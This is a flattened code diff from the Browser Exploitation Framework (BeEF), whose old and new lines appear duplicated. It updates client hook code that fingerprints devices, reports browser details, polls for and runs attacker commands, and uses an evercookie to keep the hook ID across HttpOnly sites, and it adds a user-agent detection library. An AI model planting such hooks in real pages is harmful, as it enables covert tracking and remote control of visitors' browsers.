return (this.ua.match('Kindle')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isZune: function() {
|
||||
return (this.ua.match('ZuneWP7')) ? true : false;
|
||||
},
|
||||
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isHtc: function() {
|
||||
return (this.ua.match('HTC')) ? true : false;
|
||||
},
|
||||
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isEricsson: function() {
|
||||
return (this.ua.match('Ericsson')) ? true : false;
|
||||
},
|
||||
|
||||
isNokia: function() {
|
||||
return (this.ua.match('Nokia')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
|
||||
isMotorola: function() {
|
||||
return (this.ua.match('Motorola')) ? true : false;
|
||||
},
|
||||
/*
|
||||
* @return: {Boolean} true or false.
|
||||
**/
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
|
||||
isGoogle: function() {
|
||||
return (this.ua.match('Nexus One')) ? true : false;
|
||||
},
|
||||
/**
|
||||
* Returns true if the browser is on a Mobile Phone
|
||||
* @return: {Boolean} true or false
|
||||
*
|
||||
* @example: if(beef.hardware.isMobilePhone()) { ... }
|
||||
**/
|
||||
isMobilePhone: function() {
|
||||
return DetectMobileQuick();
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
getName: function() {
|
||||
var ua = navigator.userAgent.toLowerCase();
|
||||
if(DetectIphone()) { return "iPhone"};
|
||||
if(DetectIpod()) { return "iPod Touch"};
|
||||
if(DetectIpad()) { return "iPad"};
|
||||
if (this.isHtc()) { return 'HTC'};
|
||||
if (this.isMotorola()) { return 'Motorola'};
|
||||
if (this.isZune()) { return 'Zune'};
|
||||
if (this.isGoogle()) { return 'Google Nexus One'};
|
||||
if (this.isEricsson()) { return 'Ericsson'};
|
||||
if(DetectAndroidPhone()) { return "Android Phone"};
|
||||
if(DetectAndroidTablet()) { return "Android Tablet"};
|
||||
if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
|
||||
if(ua.search(deviceS60) > -1) { return "Nokia S60"};
|
||||
if(ua.search(deviceS70) > -1) { return "Nokia S70"};
|
||||
if(ua.search(deviceS80) > -1) { return "Nokia S80"};
|
||||
if(ua.search(deviceS90) > -1) { return "Nokia S90"};
|
||||
if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
|
||||
if (this.isNokia()) { return 'Nokia'};
|
||||
if(DetectWindowsPhone7()) { return "Windows Phone 7"};
|
||||
if(DetectWindowsMobile()) { return "Windows Mobile"};
|
||||
if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
|
||||
if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
|
||||
if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
|
||||
if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
|
||||
if(DetectBlackBerry()) { return "BlackBerry"};
|
||||
if(DetectPalmOS()) { return "Palm OS"};
|
||||
if(DetectPalmWebOS()) { return "Palm Web OS"};
|
||||
if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
|
||||
if(DetectArchos()) { return "Archos"}
|
||||
if(DetectBrewDevice()) { return "Brew"};
|
||||
if(DetectDangerHiptop()) { return "Danger Hiptop"};
|
||||
if(DetectMaemoTablet()) { return "Maemo Tablet"};
|
||||
if(DetectSonyMylo()) { return "Sony Mylo"};
|
||||
if(DetectAmazonSilk()) { return "Kindle Fire"};
|
||||
if(DetectKindle()) { return "Kindle"};
|
||||
if(DetectSonyPlaystation()) { return "Playstation"};
|
||||
if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
|
||||
if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
|
||||
if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
|
||||
if(DetectXbox()) { return "Xbox"};
|
||||
if(this.isLaptop()) { return "Laptop"};
|
||||
if(this.isVirtualMachine()) { return "Virtual Machine"};
|
||||
|
||||
if (this.isNokia()) return 'Nokia';
|
||||
if (this.isWinPhone()) return 'Windows Phone';
|
||||
if (this.isBlackBerry()) return 'BlackBerry';
|
||||
if (this.isIphone()) return 'iPhone';
|
||||
if (this.isIpad()) return 'iPad';
|
||||
if (this.isIpod()) return 'iPod';
|
||||
if (this.isKindle()) return 'Kindle';
|
||||
if (this.isHtc()) return 'HTC';
|
||||
if (this.isMotorola()) return 'Motorola';
|
||||
if (this.isZune()) return 'Zune';
|
||||
if (this.isGoogle()) return 'Google';
|
||||
if (this.isEricsson()) return 'Ericsson';
|
||||
|
||||
return 'Unknown';
|
||||
}
|
||||
return 'Unknown';
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.net.hardware');
|
||||
beef.regCmp('beef.hardware');
|
||||
|
||||
@@ -1,15 +1,20 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/**
|
||||
* @literal object: beef.init
|
||||
* Contains the beef_init() method which starts the BeEF client-side
|
||||
* logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
|
||||
*
|
||||
* If beef.pageIsLoaded is true, then this JS has been loaded >1 times
|
||||
* and will have a new session id. The new session id will need to know
|
||||
* the brwoser details. So sendback the browser details again.
|
||||
*/
|
||||
|
||||
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
|
||||
// and will have a new session id. The new session id will need to know
|
||||
// the brwoser details. So sendback the browser details again.
|
||||
|
||||
BEEFHOOK = beef.session.get_hook_session_id();
|
||||
beef.session.get_hook_session_id();
|
||||
|
||||
if (beef.pageIsLoaded) {
|
||||
beef.net.browser_details();
|
||||
@@ -27,7 +32,7 @@ window.onpopstate = function (event) {
|
||||
try {
|
||||
callback(event);
|
||||
} catch (e) {
|
||||
console.log("window.onpopstate - couldn't execute callback: " + e.message);
|
||||
beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -42,13 +47,20 @@ window.onclose = function (event) {
|
||||
try {
|
||||
callback(event);
|
||||
} catch (e) {
|
||||
console.log("window.onclose - couldn't execute callback: " + e.message);
|
||||
beef.debug("window.onclose - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Starts the polling mechanism, and initialize various components:
|
||||
* - browser details (see browser.js) are sent back to the "/init" handler
|
||||
* - the polling starts (checks for new commands, and execute them)
|
||||
* - the logger component is initialized (see logger.js)
|
||||
* - the Autorun Engine is initialized (see are.js)
|
||||
*/
|
||||
function beef_init() {
|
||||
if (!beef.pageIsLoaded) {
|
||||
beef.pageIsLoaded = true;
|
||||
@@ -58,15 +70,12 @@ function beef_init() {
|
||||
beef.updater.execute_commands();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
|
||||
}
|
||||
else {
|
||||
}else {
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
1301
core/main/client/lib/deployJava.js
Normal file
1301
core/main/client/lib/deployJava.js
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -793,14 +793,19 @@ this.waitForSwf = function(i)
|
||||
|
||||
this.evercookie_cookie = function(name, value)
|
||||
{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// expire the cookie first
|
||||
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
}
|
||||
else
|
||||
return this.getFromStr(name, document.cookie);
|
||||
try{
|
||||
if (typeof(value) != "undefined")
|
||||
{
|
||||
// expire the cookie first
|
||||
document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
|
||||
document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
|
||||
}
|
||||
else
|
||||
return this.getFromStr(name, document.cookie);
|
||||
}catch(e){
|
||||
// the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
|
||||
// evercookie_userdata and evercookie_window will be used in this case.
|
||||
}
|
||||
};
|
||||
|
||||
// get value from param-like string (eg, "x=y&name=VALUE")
|
||||
|
||||
6
core/main/client/lib/jquery-1.10.2.min.js
vendored
Normal file
6
core/main/client/lib/jquery-1.10.2.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
2
core/main/client/lib/jquery-migrate-1.2.1.min.js
vendored
Normal file
2
core/main/client/lib/jquery-migrate-1.2.1.min.js
vendored
Normal file
File diff suppressed because one or more lines are too long
706
core/main/client/lib/mdetect.js
Normal file
706
core/main/client/lib/mdetect.js
Normal file
@@ -0,0 +1,706 @@
|
||||
|
||||
/* *******************************************
|
||||
// Copyright 2010-2012, Anthony Hand
|
||||
// mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
|
||||
// LICENSE INFORMATION
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
// Unless required by applicable law or agreed to in writing,
|
||||
// software distributed under the License is distributed on an
|
||||
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
|
||||
// either express or implied. See the License for the specific
|
||||
// language governing permissions and limitations under the License.
|
||||
// *******************************************
|
||||
*/
|
||||
|
||||
var isIphone = false;
|
||||
var isAndroidPhone = false;
|
||||
var isTierTablet = false;
|
||||
var isTierIphone = false;
|
||||
var isTierRichCss = false;
|
||||
var isTierGenericMobile = false;
|
||||
|
||||
var engineWebKit = "webkit";
|
||||
var deviceIphone = "iphone";
|
||||
var deviceIpod = "ipod";
|
||||
var deviceIpad = "ipad";
|
||||
var deviceMacPpc = "macintosh"; //Used for disambiguation
|
||||
|
||||
var deviceAndroid = "android";
|
||||
var deviceGoogleTV = "googletv";
|
||||
var deviceXoom = "xoom"; //Motorola Xoom
|
||||
var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
|
||||
|
||||
var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
|
||||
|
||||
var deviceSymbian = "symbian";
|
||||
var deviceS60 = "series60";
|
||||
var deviceS70 = "series70";
|
||||
var deviceS80 = "series80";
|
||||
var deviceS90 = "series90";
|
||||
|
||||
var deviceWinPhone7 = "windows phone os 7";
|
||||
var deviceWinMob = "windows ce";
|
||||
var deviceWindows = "windows";
|
||||
var deviceIeMob = "iemobile";
|
||||
var devicePpc = "ppc"; //Stands for PocketPC
|
||||
var enginePie = "wm5 pie"; //An old Windows Mobile
|
||||
|
||||
var deviceBB = "blackberry";
|
||||
var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
|
||||
var deviceBBStorm = "blackberry95"; //Storm 1 and 2
|
||||
var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
|
||||
var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
|
||||
var deviceBBTour = "blackberry96"; //Tour
|
||||
var deviceBBCurve = "blackberry89"; //Curve 2
|
||||
var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
|
||||
var deviceBBTorch = "blackberry 98"; //Torch
|
||||
var deviceBBPlaybook = "playbook"; //PlayBook tablet
|
||||
|
||||
var devicePalm = "palm";
|
||||
var deviceWebOS = "webos"; //For Palm's line of WebOS devices
|
||||
var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
|
||||
|
||||
var engineBlazer = "blazer"; //Old Palm browser
|
||||
var engineXiino = "xiino";
|
||||
|
||||
var deviceKindle = "kindle"; //Amazon Kindle, eInk one
|
||||
var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
|
||||
|
||||
var vndwap = "vnd.wap";
|
||||
var wml = "wml";
|
||||
|
||||
var deviceTablet = "tablet"; //Generic term for slate and tablet devices
|
||||
var deviceBrew = "brew";
|
||||
var deviceDanger = "danger";
|
||||
var deviceHiptop = "hiptop";
|
||||
var devicePlaystation = "playstation";
|
||||
var deviceNintendoDs = "nitro";
|
||||
var deviceNintendo = "nintendo";
|
||||
var deviceWii = "wii";
|
||||
var deviceXbox = "xbox";
|
||||
var deviceArchos = "archos";
|
||||
|
||||
var engineOpera = "opera"; //Popular browser
|
||||
var engineNetfront = "netfront"; //Common embedded OS browser
|
||||
var engineUpBrowser = "up.browser"; //common on some phones
|
||||
var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
|
||||
var deviceMidp = "midp"; //a mobile Java technology
|
||||
var uplink = "up.link";
|
||||
var engineTelecaQ = 'teleca q'; //a modern feature phone browser
|
||||
|
||||
var devicePda = "pda";
|
||||
var mini = "mini"; //Some mobile browsers put 'mini' in their names.
|
||||
var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
|
||||
var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
|
||||
|
||||
var maemo = "maemo";
|
||||
var linux = "linux";
|
||||
var qtembedded = "qt embedded"; //for Sony Mylo and others
|
||||
var mylocom2 = "com2"; //for Sony Mylo also
|
||||
|
||||
var manuSonyEricsson = "sonyericsson";
|
||||
var manuericsson = "ericsson";
|
||||
var manuSamsung1 = "sec-sgh";
|
||||
var manuSony = "sony";
|
||||
var manuHtc = "htc"; //Popular Android and WinMo manufacturer
|
||||
|
||||
var svcDocomo = "docomo";
|
||||
var svcKddi = "kddi";
|
||||
var svcVodafone = "vodafone";
|
||||
|
||||
var disUpdate = "update"; //pda vs. update
|
||||
|
||||
var uagent = "";
|
||||
if (navigator && navigator.userAgent)
|
||||
uagent = navigator.userAgent.toLowerCase();
|
||||
|
||||
function DetectIphone()
|
||||
{
|
||||
if (uagent.search(deviceIphone) > -1)
|
||||
{
|
||||
if (DetectIpad() || DetectIpod())
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIpod()
|
||||
{
|
||||
if (uagent.search(deviceIpod) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIpad()
|
||||
{
|
||||
if (uagent.search(deviceIpad) > -1 && DetectWebkit())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIphoneOrIpod()
|
||||
{
|
||||
if (uagent.search(deviceIphone) > -1 ||
|
||||
uagent.search(deviceIpod) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectIos()
|
||||
{
|
||||
if (DetectIphoneOrIpod() || DetectIpad())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAndroid()
|
||||
{
|
||||
if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
|
||||
return true;
|
||||
if (uagent.search(deviceHtcFlyer) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAndroidPhone()
|
||||
{
|
||||
if (DetectAndroid() && (uagent.search(mobile) > -1))
|
||||
return true;
|
||||
if (DetectOperaAndroidPhone())
|
||||
return true;
|
||||
if (uagent.search(deviceHtcFlyer) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAndroidTablet()
|
||||
{
|
||||
if (!DetectAndroid())
|
||||
return false;
|
||||
|
||||
if (DetectOperaMobile())
|
||||
return false;
|
||||
if (uagent.search(deviceHtcFlyer) > -1)
|
||||
return false;
|
||||
|
||||
if (uagent.search(mobile) > -1)
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
function DetectAndroidWebKit()
|
||||
{
|
||||
if (DetectAndroid() && DetectWebkit())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectGoogleTV()
|
||||
{
|
||||
if (uagent.search(deviceGoogleTV) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectWebkit()
|
||||
{
|
||||
if (uagent.search(engineWebKit) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectS60OssBrowser()
|
||||
{
|
||||
if (DetectWebkit())
|
||||
{
|
||||
if ((uagent.search(deviceS60) > -1 ||
|
||||
uagent.search(deviceSymbian) > -1))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectSymbianOS()
|
||||
{
|
||||
if (uagent.search(deviceSymbian) > -1 ||
|
||||
uagent.search(deviceS60) > -1 ||
|
||||
uagent.search(deviceS70) > -1 ||
|
||||
uagent.search(deviceS80) > -1 ||
|
||||
uagent.search(deviceS90) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectWindowsPhone7()
|
||||
{
|
||||
if (uagent.search(deviceWinPhone7) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectWindowsMobile()
|
||||
{
|
||||
if (DetectWindowsPhone7())
|
||||
return false;
|
||||
if (uagent.search(deviceWinMob) > -1 ||
|
||||
uagent.search(deviceIeMob) > -1 ||
|
||||
uagent.search(enginePie) > -1)
|
||||
return true;
|
||||
if ((uagent.search(devicePpc) > -1) &&
|
||||
!(uagent.search(deviceMacPpc) > -1))
|
||||
return true;
|
||||
if (uagent.search(manuHtc) > -1 &&
|
||||
uagent.search(deviceWindows) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerry()
|
||||
{
|
||||
if (uagent.search(deviceBB) > -1)
|
||||
return true;
|
||||
if (uagent.search(vndRIM) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryTablet()
|
||||
{
|
||||
if (uagent.search(deviceBBPlaybook) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryWebKit()
|
||||
{
|
||||
if (DetectBlackBerry() &&
|
||||
uagent.search(engineWebKit) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryTouch()
|
||||
{
|
||||
if (DetectBlackBerry() &&
|
||||
((uagent.search(deviceBBStorm) > -1) ||
|
||||
(uagent.search(deviceBBTorch) > -1) ||
|
||||
(uagent.search(deviceBBBoldTouch) > -1) ||
|
||||
(uagent.search(deviceBBCurveTouch) > -1) ))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryHigh()
|
||||
{
|
||||
if (DetectBlackBerryWebKit())
|
||||
return false;
|
||||
if (DetectBlackBerry())
|
||||
{
|
||||
if (DetectBlackBerryTouch() ||
|
||||
uagent.search(deviceBBBold) > -1 ||
|
||||
uagent.search(deviceBBTour) > -1 ||
|
||||
uagent.search(deviceBBCurve) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBlackBerryLow()
|
||||
{
|
||||
if (DetectBlackBerry())
|
||||
{
|
||||
if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectPalmOS()
|
||||
{
|
||||
if (uagent.search(devicePalm) > -1 ||
|
||||
uagent.search(engineBlazer) > -1 ||
|
||||
uagent.search(engineXiino) > -1)
|
||||
{
|
||||
if (DetectPalmWebOS())
|
||||
return false;
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectPalmWebOS()
|
||||
{
|
||||
if (uagent.search(deviceWebOS) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectWebOSTablet()
|
||||
{
|
||||
if (uagent.search(deviceWebOShp) > -1 &&
|
||||
uagent.search(deviceTablet) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectGarminNuvifone()
|
||||
{
|
||||
if (uagent.search(deviceNuvifone) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
function DetectSmartphone()
|
||||
{
|
||||
if (DetectIphoneOrIpod()
|
||||
|| DetectAndroidPhone()
|
||||
|| DetectS60OssBrowser()
|
||||
|| DetectSymbianOS()
|
||||
|| DetectWindowsMobile()
|
||||
|| DetectWindowsPhone7()
|
||||
|| DetectBlackBerry()
|
||||
|| DetectPalmWebOS()
|
||||
|| DetectPalmOS()
|
||||
|| DetectGarminNuvifone())
|
||||
return true;
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectArchos()
|
||||
{
|
||||
if (uagent.search(deviceArchos) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectBrewDevice()
|
||||
{
|
||||
if (uagent.search(deviceBrew) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectDangerHiptop()
|
||||
{
|
||||
if (uagent.search(deviceDanger) > -1 ||
|
||||
uagent.search(deviceHiptop) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectMaemoTablet()
|
||||
{
|
||||
if (uagent.search(maemo) > -1)
|
||||
return true;
|
||||
if ((uagent.search(linux) > -1)
|
||||
&& (uagent.search(deviceTablet) > -1)
|
||||
&& !DetectWebOSTablet()
|
||||
&& !DetectAndroid())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectSonyMylo()
|
||||
{
|
||||
if (uagent.search(manuSony) > -1)
|
||||
{
|
||||
if (uagent.search(qtembedded) > -1 ||
|
||||
uagent.search(mylocom2) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectOperaMobile()
|
||||
{
|
||||
if (uagent.search(engineOpera) > -1)
|
||||
{
|
||||
if (uagent.search(mini) > -1 ||
|
||||
uagent.search(mobi) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectOperaAndroidPhone()
|
||||
{
|
||||
if ((uagent.search(engineOpera) > -1) &&
|
||||
(uagent.search(deviceAndroid) > -1) &&
|
||||
(uagent.search(mobi) > -1))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectOperaAndroidTablet()
|
||||
{
|
||||
if ((uagent.search(engineOpera) > -1) &&
|
||||
(uagent.search(deviceAndroid) > -1) &&
|
||||
(uagent.search(deviceTablet) > -1))
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectSonyPlaystation()
|
||||
{
|
||||
if (uagent.search(devicePlaystation) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectNintendo()
|
||||
{
|
||||
if (uagent.search(deviceNintendo) > -1 ||
|
||||
uagent.search(deviceWii) > -1 ||
|
||||
uagent.search(deviceNintendoDs) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectXbox()
|
||||
{
|
||||
if (uagent.search(deviceXbox) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectGameConsole()
|
||||
{
|
||||
if (DetectSonyPlaystation())
|
||||
return true;
|
||||
if (DetectNintendo())
|
||||
return true;
|
||||
if (DetectXbox())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectKindle()
|
||||
{
|
||||
if (uagent.search(deviceKindle) > -1 &&
|
||||
!DetectAndroid())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectAmazonSilk()
|
||||
{
|
||||
if (uagent.search(engineSilk) > -1)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
|
||||
function DetectMobileQuick()
|
||||
{
|
||||
if (DetectTierTablet())
|
||||
return false;
|
||||
|
||||
if (DetectSmartphone())
|
||||
return true;
|
||||
|
||||
if (uagent.search(deviceMidp) > -1 ||
|
||||
DetectBrewDevice())
|
||||
return true;
|
||||
|
||||
if (DetectOperaMobile())
|
||||
return true;
|
||||
|
||||
if (uagent.search(engineNetfront) > -1)
|
||||
return true;
|
||||
if (uagent.search(engineUpBrowser) > -1)
|
||||
return true;
|
||||
if (uagent.search(engineOpenWeb) > -1)
|
||||
return true;
|
||||
|
||||
if (DetectDangerHiptop())
|
||||
return true;
|
||||
|
||||
if (DetectMaemoTablet())
|
||||
return true;
|
||||
if (DetectArchos())
|
||||
return true;
|
||||
|
||||
if ((uagent.search(devicePda) > -1) &&
|
||||
!(uagent.search(disUpdate) > -1))
|
||||
return true;
|
||||
if (uagent.search(mobile) > -1)
|
||||
return true;
|
||||
|
||||
if (DetectKindle() ||
|
||||
DetectAmazonSilk())
|
||||
return true;
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
|
||||
function DetectMobileLong()
|
||||
{
|
||||
if (DetectMobileQuick())
|
||||
return true;
|
||||
if (DetectGameConsole())
|
||||
return true;
|
||||
if (DetectSonyMylo())
|
||||
return true;
|
||||
|
||||
if (uagent.search(manuSamsung1) > -1 ||
|
||||
uagent.search(manuSonyEricsson) > -1 ||
|
||||
uagent.search(manuericsson) > -1)
|
||||
return true;
|
||||
|
||||
if (uagent.search(svcDocomo) > -1)
|
||||
return true;
|
||||
if (uagent.search(svcKddi) > -1)
|
||||
return true;
|
||||
if (uagent.search(svcVodafone) > -1)
|
||||
return true;
|
||||
|
||||
|
||||
return false;
|
||||
};
|
||||
|
||||
|
||||
function DetectTierTablet()
|
||||
{
|
||||
if (DetectIpad()
|
||||
|| DetectAndroidTablet()
|
||||
|| DetectBlackBerryTablet()
|
||||
|| DetectWebOSTablet())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectTierIphone()
|
||||
{
|
||||
if (DetectIphoneOrIpod())
|
||||
return true;
|
||||
if (DetectAndroidPhone())
|
||||
return true;
|
||||
if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
|
||||
return true;
|
||||
if (DetectWindowsPhone7())
|
||||
return true;
|
||||
if (DetectPalmWebOS())
|
||||
return true;
|
||||
if (DetectGarminNuvifone())
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectTierRichCss()
|
||||
{
|
||||
if (DetectMobileQuick())
|
||||
{
|
||||
if (DetectTierIphone() || DetectKindle())
|
||||
return false;
|
||||
|
||||
if (DetectWebkit())
|
||||
return true;
|
||||
if (DetectS60OssBrowser())
|
||||
return true;
|
||||
|
||||
if (DetectBlackBerryHigh())
|
||||
return true;
|
||||
|
||||
if (DetectWindowsMobile())
|
||||
return true;
|
||||
|
||||
if (uagent.search(engineTelecaQ) > -1)
|
||||
return true;
|
||||
|
||||
else
|
||||
return false;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
function DetectTierOtherPhones()
|
||||
{
|
||||
if (DetectMobileLong())
|
||||
{
|
||||
if (DetectTierIphone() || DetectTierRichCss())
|
||||
return false;
|
||||
|
||||
else
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
};
|
||||
|
||||
|
||||
function InitDeviceScan()
|
||||
{
|
||||
isIphone = DetectIphoneOrIpod();
|
||||
isAndroidPhone = DetectAndroidPhone();
|
||||
isTierIphone = DetectTierIphone();
|
||||
isTierTablet = DetectTierTablet();
|
||||
|
||||
isTierRichCss = DetectTierRichCss();
|
||||
isTierGenericMobile = DetectTierOtherPhones();
|
||||
};
|
||||
|
||||
InitDeviceScan()
|
||||
200
core/main/client/lib/webrtcadapter.js
Normal file
200
core/main/client/lib/webrtcadapter.js
Normal file
@@ -0,0 +1,200 @@
|
||||
var RTCPeerConnection = null;
|
||||
var getUserMedia = null;
|
||||
var attachMediaStream = null;
|
||||
var reattachMediaStream = null;
|
||||
var webrtcDetectedBrowser = null;
|
||||
var webrtcDetectedVersion = null;
|
||||
|
||||
function maybeFixConfiguration(pcConfig) {
|
||||
if (pcConfig === null) {
|
||||
return;
|
||||
}
|
||||
for (var i = 0; i < pcConfig.iceServers.length; i++) {
|
||||
if (pcConfig.iceServers[i].hasOwnProperty('urls')){
